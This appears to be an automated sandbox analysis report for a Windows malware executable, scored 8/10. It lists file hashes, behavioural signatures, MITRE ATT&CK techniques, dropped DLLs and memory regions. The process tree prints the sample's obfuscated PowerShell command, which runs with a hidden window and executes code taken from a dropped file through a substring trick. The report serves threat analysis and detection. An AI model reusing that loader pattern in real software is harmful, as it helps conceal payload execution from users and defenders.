Analysis

  • max time kernel
    135s
  • max time network
    105s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-06-2024 01:37

General

  • Target

    99a956bbed42d1b5d3a07068d0ceee00a3259f34c94cfa182e68483b5fd7ccce.exe

  • Size

    648KB

  • MD5

    46d344ac5d61310c1cd684df5c0fce60

  • SHA1

    8c880aea409374355474de41f8d9541c4100679c

  • SHA256

    99a956bbed42d1b5d3a07068d0ceee00a3259f34c94cfa182e68483b5fd7ccce

  • SHA512

    f7de4725eab0e5d31fb838dc26a798a4a8d180cdee10a6d27a0414b903c9bd355ba847439efed22688c33636261229becab77ad4f326f962224a968eaa852241

  • SSDEEP

    12288:zsB4GODGRIKcMmUKzj8SSQbkox3tO8dgDWSeeIh:I4GODqIKdmUKzj8LwWKS7E

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\99a956bbed42d1b5d3a07068d0ceee00a3259f34c94cfa182e68483b5fd7ccce.exe
    "C:\Users\Admin\AppData\Local\Temp\99a956bbed42d1b5d3a07068d0ceee00a3259f34c94cfa182e68483b5fd7ccce.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2816
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Arithmetizations=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Avisomraadet.Ena72';$Aktionrforenings=$Arithmetizations.SubString(69214,3);.$Aktionrforenings($Arithmetizations)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4760
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4760 -s 2472
        3⤵
        • Program crash
        PID:4980
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4760 -ip 4760
    1⤵
      PID:5104

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Execution

    Command and Scripting Interpreter

    1
    T1059

    PowerShell

    1
    T1059.001

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e3k1ovdb.55k.ps1
      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\nsv2F9C.tmp\AdvSplash.dll
      Filesize

      6KB

      MD5

      6def2cf3daf850acdc1a3e7340a439c4

      SHA1

      95d0d26f60cd5af697502cd5e53a54913ab188fb

      SHA256

      3ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175

      SHA512

      16b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413

    • C:\Users\Admin\AppData\Local\Temp\nsv2F9C.tmp\BgImage.dll
      Filesize

      7KB

      MD5

      2bb17d45e5ad92053ce1e500408dd8a9

      SHA1

      f5d3a7ee6e28df532e9ce33976c92ff30a5665e4

      SHA256

      71ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53

      SHA512

      efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f

    • C:\Users\Admin\AppData\Local\Temp\nsv2F9C.tmp\UserInfo.dll
      Filesize

      4KB

      MD5

      8ef0e4eb7c89cdd2b552de746f5e2a53

      SHA1

      820f681e7cec409a02b194a487d1c8af1038acf0

      SHA256

      41293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc

      SHA512

      a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5

    • C:\Users\Admin\AppData\Local\Temp\nsv2F9C.tmp\nsExec.dll
      Filesize

      6KB

      MD5

      c129bc26a26be6f5816a03520bb37833

      SHA1

      18100042155f948301701744b131c516bf26ddb8

      SHA256

      d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4

      SHA512

      dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63

    • C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Avisomraadet.Ena72
      Filesize

      67KB

      MD5

      12704c1d30f51180728bc8547d94e11e

      SHA1

      c7a8073985c9736be80c7df3ff3d5b35e897a8e9

      SHA256

      399c4a3f638e08aa079e38e0e07f38a9d70b62b5b62e5c962cdf5e26b45bddc8

      SHA512

      d17de067b4d66a075e6fd3697df2e056c74c086bfd47a3e1626d0c002b62444238007aecd9b410f13c5601eb911a795ecdeeb582de7cc0d64279b01322d87626

    • C:\Users\Admin\Pictures\slukningen.lnk
      Filesize

      986B

      MD5

      d896d941f6e87d5114ad69f4de054edf

      SHA1

      cecf27b1dbea754dd482a8104483267975c3d27e

      SHA256

      d585b190978e7b28b256277435cfa8dd367e8b7907e578a16fdec42b9f25df07

      SHA512

      489cec60cefcbd37641fa6b290c184ea5667b87c790240f362764fdb781a86c89ae413e44d7989aa05a8c341de6e1a6f3408ee3e2187b1aad5c559f118da8041

    • memory/4760-198-0x0000000005940000-0x00000000059A6000-memory.dmp
      Filesize

      408KB

    • memory/4760-210-0x0000000005FE0000-0x0000000005FFE000-memory.dmp
      Filesize

      120KB

    • memory/4760-197-0x0000000005040000-0x0000000005062000-memory.dmp
      Filesize

      136KB

    • memory/4760-196-0x00000000051A0000-0x00000000057C8000-memory.dmp
      Filesize

      6.2MB

    • memory/4760-199-0x00000000059B0000-0x0000000005A16000-memory.dmp
      Filesize

      408KB

    • memory/4760-194-0x00000000029F0000-0x0000000002A26000-memory.dmp
      Filesize

      216KB

    • memory/4760-209-0x0000000005B20000-0x0000000005E74000-memory.dmp
      Filesize

      3.3MB

    • memory/4760-195-0x0000000073FC0000-0x0000000074770000-memory.dmp
      Filesize

      7.7MB

    • memory/4760-211-0x0000000006030000-0x000000000607C000-memory.dmp
      Filesize

      304KB

    • memory/4760-212-0x0000000006570000-0x0000000006606000-memory.dmp
      Filesize

      600KB

    • memory/4760-213-0x0000000006520000-0x000000000653A000-memory.dmp
      Filesize

      104KB

    • memory/4760-214-0x0000000006FD0000-0x0000000006FF2000-memory.dmp
      Filesize

      136KB

    • memory/4760-215-0x00000000075B0000-0x0000000007B54000-memory.dmp
      Filesize

      5.6MB

    • memory/4760-193-0x0000000073FCE000-0x0000000073FCF000-memory.dmp
      Filesize

      4KB

    • memory/4760-217-0x00000000081E0000-0x000000000885A000-memory.dmp
      Filesize

      6.5MB

    • memory/4760-219-0x0000000073FC0000-0x0000000074770000-memory.dmp
      Filesize

      7.7MB